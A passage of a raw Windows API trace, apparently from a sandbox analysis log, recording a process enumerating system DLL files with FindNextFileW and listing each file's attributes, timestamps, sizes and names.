lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0188.299] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0188.300] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, 